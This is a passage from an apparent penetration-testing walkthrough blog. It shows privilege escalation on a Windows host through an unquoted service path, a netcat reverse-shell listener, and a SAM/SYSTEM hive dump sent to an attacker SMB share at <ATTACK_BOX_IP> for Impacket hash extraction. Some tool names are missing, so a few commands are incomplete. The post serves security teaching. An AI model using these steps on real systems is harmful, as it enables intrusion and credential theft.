Upload it using a Python server and curl.

Now, start a listener and run the program:

rlwrap -cAr nc -lvnp 13337

Excellent, this works. Now let's rename this to System.exe and place it in the SystemExplorerHelpService file path: C:\Program Files (x86)\System Explorer\System Explorer\service\SystemExplorerService64.exe. Due to the unquoted file path vulnerability, our program will be executed with NT AUTHORITY\SYSTEM at this location: "C:\Program Files (x86)\System Explorer\System.exe".

Now, let's restart the SystemExplorerHelpService so that the system will execute our shell.

sc stop SystemExplorerHelpService

sc start SystemExplorerHelpService

And we have root access! As an additional bonus and for extra practice, we will exfiltrate Thomas' data as evidence of compromise. However, it is crucial to remember that you should never exfiltrate data without the explicit permission of the hiring authority under any circumstances.


As a means of demonstrating to Thomas that we have gained root access to his machine, we will supply the password hash for his Administrator account. To accomplish this, we will save the SAM and SYSTEM hives.

Extract SAM hive:

reg.exe save HKLM\SAM sam.bak

Extract SYSTEM hive:

reg.exe save HKLM\SYSTEM system.bak

Now, we need to transfer these files back to our attacking device in order to extract the password hashes.

Start smbserver: share . -smb2support -username user -password s3cureP@ssword

Connect to the server from Thomas's PC:

net use \\<ATTACK_BOX_IP>\share /USER:user s3cureP@ssword

Now transfer the sam.bak and system.bak files.

Now, we can extract the hashes using from Impacket:

python /usr/local/bin/ -sam sam.bak -system system.bak LOCAL


In this comprehensive guide, the author demonstrates how to assess the security of a friend's home network, focusing on enumeration, exploitation, pivoting, command and control, antivirus evasion, and data exfiltration. The walkthrough includes the use of tools such as nmap, ffuf, WebMin, GitStack, PowerShell Empire, Starkiller, Chisel, and Mono, as well as techniques for bypassing security filters and evading antivirus detection. The guide is designed to take approximately 30 minutes to read and longer if following along while attempting to complete the tasks.

Did you find this article valuable?

Support Jake Garrison by becoming a sponsor. Any amount is appreciated!